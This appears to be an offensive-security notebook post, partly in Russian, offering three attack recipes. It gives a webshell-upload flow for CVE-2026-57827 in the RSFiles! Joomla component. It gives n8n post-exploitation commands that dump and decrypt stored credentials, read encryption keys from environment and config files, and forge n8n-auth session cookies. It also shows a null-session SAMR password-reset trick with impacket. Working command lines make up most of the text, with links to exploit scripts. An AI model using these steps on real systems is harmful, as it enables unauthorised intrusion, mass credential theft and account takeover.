hacker’s notebook

CVE-2026-57827 — RSFiles! Joomla Component Unauthenticated File Upload RCE

CVE-2026-57827 is a critical-severity (CVSS 9.8) unauthenticated arbitrary file upload vulnerability in RSFiles! (com_rsfiles), a widely used file-manager and download component for Joomla, versions < 1.17.12.

The vulnerability exploits a split-controller design flaw: RSFiles! separates its upload into two frontend tasks — a pre-flight check (permission gate + extension allow-list) and a write method (saves file to disk). The write method can be called directly, bypassing the pre-flight check entirely. No authentication, no CSRF token required.

💻 Attack Flow
1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file= (multipart, PHP payload)
folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
→ Skips rsfiles.checkupload (pre-flight) entirely
→ No permission check → No CSRF token check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
.htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data


💻 PoC link: https://github.com/shinthink/cve-2026-57827

Вы получили RCE на n8n — что дальше?
Ниже постарался привести пару полезных шагов для его пост-эксплуатации.

💪 Получение всех учётных данных из n8n

0. Сначала пробуем простой путь — через n8n CLI
Сработает, если shell-пользователь видит ~/.n8n/config (или задан N8N_ENCRYPTION_KEY):
npx n8n export:credentials --all --decrypted > /tmp/all_creds.json
Если по какой-то причине не вышло, пробуем дальше идти вручную.

1. Смотрим переменные окружения
Креды от БД и иногда сам N8N_ENCRYPTION_KEY часто лежат в env:
cat /proc/self/environ | tr '\0' '\n' | grep -iE 'n8n|postgres|encryption|database'
2. Ищем конфиг с ключом шифрования
n8n хранит ключ инстанса в ~/.n8n/config (JSON-поле encryptionKey).
find / -path "*/.n8n/config" 2>/dev/null
# пример:
cat /home/node/.n8n/config | jq -r .encryptionKey
3. Выгружаем зашифрованные креды из PostgreSQL
Формат файла должен быть pipe-delimited, 4 поля на строку: id|name|type|data.
PGPASSWORD=n8n psql -h localhost -U n8n -d n8n -At -F'|' -c \
"SELECT id, name, type, data FROM credentials_entity;" \
> /tmp/creds.txt
Не используйте обычный табличный вывод psql (SELECT ... ; без -At -F'|') — заголовки и выравнивание сломают парсер.

4. Расшифровываем
python3 decrypt_n8n_credentials.py /tmp/creds.txt \
--key "YOUR_N8N_ENCRYPTION_KEY" \
-o /tmp/n8n_credentials_decrypted.json
Impact: n8n обычно связан со всем — Google Drive, ключи OpenAI, Salesforce, IAM, платёжки, клиентские БД, CI/CD, webhooks и т.д. Один дамп и lateral movement по всей автоматизированной инфре.

💪 Захват сессии (подделка n8n-auth)

Пароли пользователей n8n в БД хешируются через bcrypt. Но при наличии N8N_ENCRYPTION_KEY можно сгенерировать валидный JWT cookie n8n-auth для любого пользователя (та же схема, что в Cyera Ni8mare / CVE-2026-21858).

1. Достаём пользователей из PostgreSQL
PGPASSWORD=n8n psql -h localhost -U n8n -d n8n -At -F'|' -c \
"SELECT id, email, password FROM public.\"user\";" \
> /tmp/users.txt
Нужны: UUID, email и bcrypt-хеш ($2a$10$...) .

2. Генерируем JWT
python3 forge_n8n_session.py \
--encryption-key "YOUR_N8N_ENCRYPTION_KEY" \
--user-id "" \
--email "user@example.com" \
--password-hash '$2a$10$...'
На n8n 2.x, если derived secret не подходит то тяните signing key из БД:
PGPASSWORD=n8n psql -h localhost -U n8n -d n8n -At -c \
"SELECT value FROM deployment_key WHERE type = 'signing.jwt' AND status = 'active';"
Передать в скрипт: --jwt-secret "".

3. Подставляем cookie
Замените в браузере cookie n8n-auth на сгенерированный JWT и готово.

👩‍💻 Скрипты закинул на гит - https://github.com/HideusXakep/n8n-post-exploitation-scripts

😃 Сброс истёкшего пароля доменной учетки через null‑session и SAMR

Читал одну любопытную статейку на дф и наткнулся на метод сброса истёкшего пароля через null‑session.

Суть:
При ошибке STATUS_PASSWORD_MUST_CHANGE стандартные подходы с impacket-changepasswd и smbpasswd могут не отработать на новых Windows. Но есть фишка, для которой нужно найти хост с разрешённой null‑session (проверить через nxc smb $IP -u '' -p '') и выполнить:
impacket-changepasswd -protocol smb-samr -newpass 'NewPass' 'domain\user:OldPass@ -dc-ip
При этом нужно использовать протокол smb-samr.

Пример:
impacket-changepasswd -protocol smb-samr -newpass 'NewP@ssw0rd321!' 'duty-free.cc/user1:P@ssw0rd12@192.168.78.2 -dc-ip 192.168.78.1

Почему это работает? Протокол SAMR (RPC-сервис управления учётками) позволяет сменить пароль без предварительной аутентификации — достаточно передать старый+новый пароль в RPC-вызов через анонимное подключение.